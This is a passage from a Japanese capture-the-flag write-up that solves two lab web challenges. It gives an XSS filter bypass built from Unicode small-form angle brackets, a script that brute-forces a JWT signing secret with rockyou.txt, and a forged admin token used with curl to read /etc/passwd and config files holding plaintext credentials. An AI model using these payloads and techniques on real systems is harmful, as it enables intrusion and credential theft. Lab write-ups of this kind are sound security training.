はエスケープされるのに、 <
と >
は消される。
http://10.10.10.32/greet?name[toString]=hoge でソースコードのファイル名と関数名は分かった。
TypeError: Cannot convert object to primitive value
at vulnEscapeHtml (/usr/src/app/index.js:12:16)
at /usr/src/app/index.js:90:27
at Layer.handle [as handle_request] (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)
at next (/usr/src/app/node_modules/express/lib/router/route.js:144:13)
at Route.dispatch (/usr/src/app/node_modules/express/lib/router/route.js:114:3)
at Layer.handle [as handle_request] (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)
at /usr/src/app/node_modules/express/lib/router/index.js:284:15
at Function.process_params (/usr/src/app/node_modules/express/lib/router/index.js:346:12)
at next (/usr/src/app/node_modules/express/lib/router/index.js:280:10)
at expressInit (/usr/src/app/node_modules/express/lib/middleware/init.js:40:5)
これが分かってもな……。ヒント購入。
文字には様々な表現方法があります。
“<”、“>”の2文字がポイントです。
違う文字でも、ある変換によって同じ文字になることがあります。
全角の <
も消えることに気が付いた。 <
に変換されて、消えない文字があれば良いのか。
﹤script﹥
。 U+FE64
と U+FE65
。
http://10.10.10.32/greet?name=%EF%B9%A4script%EF%B9%A5alert(1)%EF%B9%A4/script%EF%B9%A5
FLAG{dfa23afjkl98}
Bruteforce (30 pts)
http://10.10.10.34:8000 からフラグを回収して下さい。 http://10.10.10.34:5000 で動作するプログラムの内容は、
ctf-web-hard.py
に記載されています。
from flask import Flask
from flask import jsonify
from flask import request
from flask_jwt_extended import create_access_token
from flask_jwt_extended import get_jwt_identity
from flask_jwt_extended import jwt_required
from flask_jwt_extended import JWTManager
app = Flask(__name__)
app.config["JWT_SECRET_KEY"] = "*************"
app.config["JWT_ACCESS_TOKEN_EXPIRES"] = False
app.config["JWT_REFRESH_TOKEN_EXPIRES"] = False
app.config["JWT_COOKIE_CSRF_PROTECT"] = False
app.config["JWT_ENCODE_NBF"] = False
jwt = JWTManager(app)
@app.route("/login", methods=["POST"])
def login():
users = {}
users['test'] = 'test'
users['admin'] = '*************'
username = request.json.get("username", None)
print(username)
password = request.json.get("password", None)
print(password)
if (not username in users) or (password != users[username]):
return jsonify({"msg": "Bad username or password"}), 401
access_token = create_access_token(identity=username)
return jsonify(access_token=access_token)
@app.route("/protected", methods=["POST"])
@jwt_required()
def protected():
current_user = get_jwt_identity()
if current_user == "test" :
return "ummm...."
elif current_user == "admin" :
filepath = request.json.get("filepath",None)
f = open(filepath,'r')
filedata = f.read()
f.close()
return jsonify(filedata), 200
if __name__ == "__main__":
app.run(host="0.0.0.0")
JWTを改竄しろという問題に見えるが、今どきのライブラリを素直に使っていて alg=none
が通るわけもないよなぁ……。
ヒント購入。
トークンで使用されている鍵の特定には、
rockyou.txt
を使用して下さい。
ここでタイトル回収か。
import hmac
import hashlib
import base64
for key in open("../../rockyou.txt", "rb"):
key = key.replace(b"\n", b"")
x = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcwODg0Njg2NCwianRpIjoiNzJmOTUxNTYtM2IzMi00NzliLWIyOGItOWM3MWJjYWNkNDA3IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6InRlc3QifQ"
x = x.encode()
signature = base64.b64encode(hmac.new(key, x, hashlib.sha256).digest())
signature = signature.decode()
signature = signature.replace("/", "_").replace("+", "-").replace("=", "")
if signature=="LbuQ4jv2lXFa9AirJY2Pv4FhIvg_zqSkLx1bg9MyR9M":
print(key)
$ python3 attack.py
b'conankun'
https://jwt.io/ で test
を admin
に書き換えたトークンを作ると、 /protected
が叩けるようになる。
$ curl -H 'Content-Type: application/json' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcwODg0Njg2NCwianRpIjoiNzJmOTUxNTYtM2IzMi00NzliLWIyOGItOWM3MWJjYWNkNDA3IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIn0.vUlDHqJZ8wedXJXGuuhpdrgs7l6o7CixDs9luMBxYBg' -d '{"filepath":"/etc/passwd"}' http://10.10.10.34:5000/protected
"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\n"
/proc/self/cmdline からこのスクリプトのパス /var/www/ctf-web-hard.py が得られる。中身を覗くと、 admin のパスワードが分かるが、これでは http://10.10.10.34:8000 にログインできなかった。
/proc/1/cmdline 。
/usr/bin/python3 /usr/bin/supervisord -c /etc/supervisord.conf
/etc/supervisord.conf 。
[supervisord]
nodaemon=true
[program:ctf-web-hard]
command=/usr/bin/python3 /var/www/ctf-web-hard.py
autostart=true
autorestart=true
[program:http_server_auth]
command=/usr/bin/python3 /var/www/ZQ4zgfia2Kfi/http_server_auth.py --username admin --password EG5f9nPCpKxk
autostart=true
autorestart=true
admin:EG5f9nPCpKxk で http://10.10.10.34:8000 にログインできて、フラグっぽい名前のディレクトリがあった。
FLAG{pLi5lfm8hJK7}